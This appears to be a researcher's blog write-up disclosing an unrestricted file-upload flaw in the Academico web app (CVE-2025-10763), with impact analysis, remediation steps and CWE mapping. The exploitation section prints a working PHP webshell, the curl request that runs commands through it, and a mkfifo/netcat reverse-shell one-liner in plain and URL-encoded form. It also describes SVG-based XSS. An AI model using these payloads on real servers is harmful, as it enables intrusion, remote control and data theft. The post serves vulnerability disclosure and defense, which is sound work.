Post

How I got RCE from a File Upload on Academico - CVE-2025-10763

How I got RCE from a File Upload on Academico - CVE-2025-10763

Vulnerability Overview

I was able to achieve Remote Code Execution (RCE) via the file upload functionality on Academico.

TL;DR: Academico’s profile picture upload lacks file type validation and serves uploaded files from a publicly accessible directory. I uploaded a PHP webshell, accessed it directly, and achieved full RCE with a reverse shell.

Technical Background

When a person thinks of a file upload endpoint for profile pictures, they assume it will only accept .png, .jpg, .jpeg, or .gif. Even if someone tries uploading a non-image file, most web apps block the request and notify the user about the invalid format. Even if an attacker bypasses such restrictions and uploads a .php or an executable file, server configurations usually prevent execution from public upload directories.

But what happens when there is no validation to ensure the file is actually an image? Or when a misconfiguration allows execution of uploaded files in public storage? That is where remote code execution happens.

Discovery Process and Exploitation Steps

I usually start by mapping endpoints and available functionality on those endpoints. Afterwards, I interact and tinker with the features. Same happened while auditing academico - I started by uploading a benign image, then an SVG with embedded JavaScript events (which triggered XSS), and finally, out of curiosity, a .php file (since the app is built on Laravel).

  • Uploading a valid image (for example .webp) shows the app converts it to .jpg and serves it by appending -thumb.jpg to the filename. The original uploaded image is retained but not served directly:
1
2
3
4
5
6
7
8
9
10
11
12
storage/app/public/3/:
total 52
drwxr-xr-x 3 kali kali  4096 Sep  3 05:40 .
drwxrwxr-x 7 kali kali  4096 Sep  3 07:09 ..
drwxr-xr-x 2 kali kali  4096 Sep  3 05:40 conversions
-rw-r--r-- 1 kali kali 39264 Sep  3 05:40 what-is-ai-artificial-intelligence.webp

storage/app/public/3/conversions:
total 100
drwxr-xr-x 2 kali kali  4096 Sep  3 05:40 .
drwxr-xr-x 3 kali kali  4096 Sep  3 05:40 ..
-rw-r--r-- 1 kali kali 90163 Sep  3 05:40 what-is-ai-artificial-intelligence-thumb.jpg
  • I then uploaded an SVG to see what happens when conversion to jpg fails:
1
2
3
4
5
storage/app/public/4/
total 12
drwxr-xr-x 2 kali kali 4096 Sep  3 06:33 .
drwxrwxr-x 6 kali kali 4096 Sep  3 06:33 ..
-rw-r--r-- 1 kali kali  362 Sep  3 06:33 xss.svg
  • There is no conversions directory for this upload, yet the application tries to serve the converted file at http://localhost:8000/storage/4/conversions/xss-thumb.jpg, which returns 404.
  • Accessing the original file at http://localhost:8000/storage/4/xss.svg is allowed; this allowed SVG triggered XSS via embedded JavaScript events.

Triggered XSS via SVG

At this point I concluded that arbitrary files can be uploaded - no validation; even if conversion fails, the original file is accessible via insecure file storage exposure. Next step was to upload an executable .php and inspect server behavior.

  • I created a simple PHP webshell:
1
<?php system($_GET['cmd']); ?>
  • I uploaded it as a profile picture; the conversion to .jpg failed and the app tried to serve http://localhost:8000/storage/5/conversions/webshell-thumb.jpg.
  • I then accessed the original uploaded file at http://localhost:8000/storage/5/webshell.php.

Actual php file

  • Curling the webshell with a command proved it executed:
1
2
curl http://localhost:8000/storage/5/webshell.php?cmd=whoami
kali
  • With command execution confirmed, I crafted a reverse shell:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f
  • URL-encoded it:
1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%201234%20%3E%2Ftmp%2Ff
  • And finally triggered it:
1
curl "http://localhost:8000/storage/5/webshell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%201234%20%3E%2Ftmp%2Ff"
  • Listener:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56210
$ whoami
kali

This confirms a working reverse shell and thus full RCE.

Impact Analysis

  • Severity - Critical; RCE allows complete compromise of the application server and potentially lateral movement to other systems.
  • Confidentiality impact - High; attacker can read any files accessible to the application user - database credentials, source code, user data, backups.
  • Integrity impact - High; attacker can modify application files, replace binaries, install backdoors, and tamper with logs or stored data.
  • Availability impact - High; attacker can disrupt services, delete data, or deploy ransomware.
  • Exploitability - Low to moderate; in my test it required only the ability to upload an image as a profile picture. If upload functionality is available to unauthenticated users, exploitability is trivial; if restricted to authenticated users, the attack still succeeds for any account allowed to upload.
  • Scope - Potential full server compromise and data exfiltration; depending on hosting/configuration, attacker could pivot to internal networks or persist via scheduled tasks.
  • Additional note - SVG upload led to XSS; combined vulnerabilities increase the attack surface and may allow client-side attacks against other users.

Remediation

Prioritize fixes and add layered defenses - do not rely on a single control.

Immediate / high-priority fixes

  1. Disable execution in upload directories - Ensure the storage (or equivalent) directory is not executable by the web server; configure Nginx/Apache to never pass PHP (or other interpreters) from the uploads directory to the PHP engine.

  2. Store uploads outside the webroot or use object storage - Avoid serving raw uploaded files directly from a public directory. Store uploads outside public and serve them through a controller that enforces access controls; or use S3-like storage with signed URLs.

  3. Enforce strict file-type validation - Use a whitelist of allowed extensions and verify the actual file type server-side using finfo or image libraries; do not rely solely on client-side checks or filename extensions.

  4. Reject or sanitize SVGs - Either disallow SVG uploads entirely or sanitize them using a trusted sanitizer that strips scripts and event attributes; treat SVGs as untrusted XML.

  5. Perform server-side image processing and serve only processed images - Convert uploaded images to safe raster formats (PNG/JPG) server-side and only serve those derived files; do not serve original uploads.

  6. Sanitize and normalize filenames - Avoid using user-supplied filenames; generate random filenames and ensure there is no path traversal in the storage path. Validate and normalize paths before saving or serving.

  7. Set restrictive file permissions - Uploaded files should have the minimum permissions required (for example 0644) and be owned by a non-privileged user; ensure no execute bit is set.

  8. Content Security Policy (CSP) - Add a strong CSP to mitigate impact of any client-side XSS via uploaded assets.

Timeline

  • Disclosed this vulnerability to VulDB on: 09/03/2025 02:12 PM
  • Moderated on: 09/20/2025 09:26 AM

CWE

  1. CWE-434 - Unrestricted Upload of File with Dangerous Type
  2. CWE-284 - Improper Access Control
  3. CWE-94 - Improper Control of Generation of Code (‘Code Injection’)
  4. CWE-79 - Cross-site Scripting (XSS)

This post is licensed under CC BY 4.0 by the author.